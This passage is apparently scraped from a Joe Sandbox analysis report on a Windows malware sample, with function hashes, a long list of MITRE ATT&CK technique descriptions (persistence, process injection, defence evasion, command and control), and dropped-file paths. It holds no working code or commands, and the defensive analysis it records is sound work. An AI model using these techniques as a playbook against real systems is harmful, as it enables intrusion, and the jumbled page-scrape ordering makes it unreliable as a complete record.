, xrefs: 000002DC4BE53254

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-3916222277
Opcode ID: 70bc9bd995cb069c2d3e0a6c96377ccbba1a305319187803a7386bcba82571ea
Instruction ID: db2ed2c96bd1800d4348eb07a1793a1f13304fe1f4a1dbf8a0b007d4247f1d72
Opcode Fuzzy Hash: 70bc9bd995cb069c2d3e0a6c96377ccbba1a305319187803a7386bcba82571ea
Instruction Fuzzy Hash: 40719334218E1E8FDB59EF6CC098B65B7D2FB99320F60065AD41AC7691DB31EC45C782

Function 000002DC4BEB57F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 178COMMON

Download Yara Rule

APIs

Part of subcall function 000002DC4BEB814C: _invalid_parameter_noinfo.LIBCMT ref: 000002DC4BEB817F

_get_daylight.LIBCMT ref: 000002DC4BEB5910
_get_daylight.LIBCMT ref: 000002DC4BEB5921

Strings

?, xrefs: 000002DC4BEB58A1

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: f7d8d8c17d4534d6d9581430c191c8685afda81465dcb08cdff0caec24115f1b
Instruction ID: c26fd7271982db83651dbced70d27a6fff5945ef9a6dfbdba441d7dd7fed5fb2
Opcode Fuzzy Hash: f7d8d8c17d4534d6d9581430c191c8685afda81465dcb08cdff0caec24115f1b
Instruction Fuzzy Hash: 7E51D63422CB4A4FE768EB68946A37B7BD2EBC5325F20066FE495C21D1DA24DC41C683

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VJQyKuHEUe.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_zfon.exe_4116e554928dad718eac16d219404f2b6f1496_7a7c94a0_a7e79a8f-526e-4442-89cd-3e4c02944af3\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_zfon.exe_4116e554928dad718eac16d219404f2b6f1496_7a7c94a0_c84b80a8-56c8-418f-9609-db2a3a9fc957\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4BE8.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4CE3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D23.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5C34.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5CC2.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D30.tmp.xml

C:\ProgramData\MyLnk\down.lnk

C:\ProgramData\kernelquick.sys

C:\Users\Public\Downloads\aut.txt

C:\Users\Public\Downloads\tas.txt

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\VJQyKuHEUe.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000014.db

Windows Analysis Report
VJQyKuHEUe.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre